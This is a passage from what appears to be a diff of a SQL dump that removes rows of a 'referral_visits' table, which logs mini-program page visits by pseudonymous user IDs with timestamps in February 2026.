10:10:21'); -INSERT INTO `referral_visits` VALUES (77, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:21'); -INSERT INTO `referral_visits` VALUES (78, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (79, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (80, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (81, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (82, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (83, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (84, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (85, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (86, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (87, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (88, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (89, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (90, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 12:34:26'); -INSERT INTO `referral_visits` VALUES (91, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-11 23:32:41'); -INSERT INTO `referral_visits` VALUES (92, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-11 23:32:41'); -INSERT INTO `referral_visits` VALUES (93, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (94, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (95, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (96, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (97, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (98, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (99, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/chapters/chapters', '2026-02-12 02:03:43'); -INSERT INTO `referral_visits` VALUES (100, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 02:03:43'); -INSERT INTO `referral_visits` VALUES (101, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-12 02:25:42'); -INSERT INTO `referral_visits` VALUES (102, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-12 02:25:43'); -INSERT INTO `referral_visits` VALUES (103, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-12 02:25:43'); -INSERT INTO `referral_visits` VALUES (104, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/my/my', '2026-02-12 02:29:24'); -INSERT INTO `referral_visits` VALUES (105, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-02-12 02:29:24'); -INSERT INTO `referral_visits` VALUES (106, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (107, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (108, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (109, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (110, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (111, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (112, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:30:16'); -INSERT INTO `referral_visits` VALUES (113, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:37:30'); -INSERT INTO `referral_visits` VALUES (114, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:43:32'); -INSERT INTO `referral_visits` VALUES (115, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:43:32'); -INSERT INTO `referral_visits` VALUES (116, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/my/my', '2026-02-12 10:35:12'); -INSERT INTO `referral_visits` VALUES (117, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:35:12'); -INSERT INTO `referral_visits` VALUES (118, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (119, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (120, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (121, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (122, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (123, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (124, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:47'); -INSERT INTO `referral_visits` VALUES (125, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:48'); -INSERT INTO `referral_visits` VALUES (126, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/chapters/chapters', '2026-02-12 10:36:48'); -INSERT INTO `referral_visits` VALUES (127, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:54'); -INSERT INTO `referral_visits` VALUES (128, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:54'); -INSERT INTO `referral_visits` VALUES (129, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:56'); -INSERT INTO `referral_visits` VALUES (130, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:56'); -INSERT INTO `referral_visits` VALUES (131, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:37:12'); -INSERT INTO `referral_visits` VALUES (132, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:37:12'); -INSERT INTO `referral_visits` VALUES (133, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:49'); -INSERT INTO `referral_visits` VALUES (134, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:50'); -INSERT INTO `referral_visits` VALUES (135, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:51'); -INSERT INTO `referral_visits` VALUES (136, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:51'); -INSERT INTO `referral_visits` VALUES (137, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/index/index', '2026-02-12 10:52:06'); -INSERT INTO `referral_visits` VALUES (138, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (139, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (140, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (141, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:23'); -INSERT INTO `referral_visits` VALUES (142, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:23'); -INSERT INTO `referral_visits` VALUES (143, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (144, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (145, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (146, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-13 15:09:44'); -INSERT INTO `referral_visits` VALUES (147, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-13 15:09:44'); -INSERT INTO `referral_visits` VALUES (148, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', NULL, '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (149, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', NULL, '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (150, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', 'pages/read/read', '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (151, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (152, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (153, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (154, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', NULL, '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (155, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', 'pages/read/read', '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (156, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', NULL, '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (157, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', 'pages/read/read', '2026-02-15 06:06:16'); -INSERT INTO `referral_visits` VALUES (158, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:11:28'); -INSERT INTO `referral_visits` VALUES (159, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:11:28'); -INSERT INTO `referral_visits` VALUES (160, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:12:01'); -INSERT INTO `referral_visits` VALUES (161, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:12:05'); -INSERT INTO `referral_visits` VALUES (162, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (163, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (164, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (165, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (166, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (167, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (168, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:02:05'); -INSERT INTO `referral_visits` VALUES (169, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:02:05'); -INSERT INTO `referral_visits` VALUES (170, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:02:07'); -INSERT INTO `referral_visits` VALUES (171, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (172, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (173, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (174, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:48:22'); -INSERT INTO `referral_visits` VALUES (175, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (176, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', NULL, '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (177, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', NULL, '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (178, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:43'); -INSERT INTO `referral_visits` VALUES (179, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:43'); -INSERT INTO `referral_visits` VALUES (180, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (181, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (182, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (183, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (184, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (185, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (186, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (187, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (188, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (189, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (190, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (191, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (192, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (193, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (194, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (195, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (196, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (197, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (198, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (199, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (200, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', 